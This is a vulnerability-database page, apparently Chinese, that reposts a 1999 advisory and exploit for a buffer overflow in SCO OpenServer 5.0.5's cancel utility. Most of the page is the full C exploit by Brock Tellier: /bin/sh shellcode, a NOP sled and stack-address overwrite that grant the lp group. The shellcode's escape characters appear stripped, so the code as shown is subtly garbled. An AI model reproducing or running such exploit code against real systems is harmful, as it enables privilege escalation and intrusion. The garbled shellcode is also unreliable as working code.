SCO Open Server 5.0.5 – cancel Buffer Overflow
漏洞ID | 1053418 | 漏洞类型 | |
发布时间 | 1999-10-08 | 更新时间 | 1999-10-08 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | SCO | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/702/info
There is a buffer overflow vulnerability in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel. It is important to know that the overflows are not in "/usr/bin/cancel" or "/usr/lpd/remote/cancel". The consequence of this vulnerability being exploited is compromise of effective groupid of group lp.
/**
** sco_cancel.c yields egid=18(lp)
** Tested on SCO 5.0.5+Skunkware98
**
** Compile gcc -o sco_cancelx.c sco_cancelx.c
**
** Brock Tellier [email protected]
**
**/
#include <stdlib.h>
#include <stdio.h>
char scoshell[]= /* [email protected] */
"xebx1bx5ex31xdbx89x5ex07x89x5ex0cx88x5ex11x31xc0"
"xb0x3bx8dx7ex07x89xf9x53x51x56x56xebx10xe8xe0xff"
"xffxff/bin/shxaaxaaxaaxaax9axaaxaaxaaxaax07xaa";
#define LEN 1500
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffern", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=600;
buflen=1200;
}
addr=get_sp();
fprintf(stderr, "nSCO 5.0.5 cancel exploit yields egid=18(lp)n");
fprintf(stderr, "Brock Tellier [email protected]");
fprintf(stderr, "Using addr: 0x%xn", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf,
NULL);
exit(0);
}
AIX文件修改漏洞 漏洞ID 1207419 漏洞类型 未知 发布时间 1998-01-08 更新时间 1998-01-08 CVE编号 CVE-1999-0086 CNNVD-ID CNNVD-199801-012 漏洞平台 N/A CVSS评分 5.0 |…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666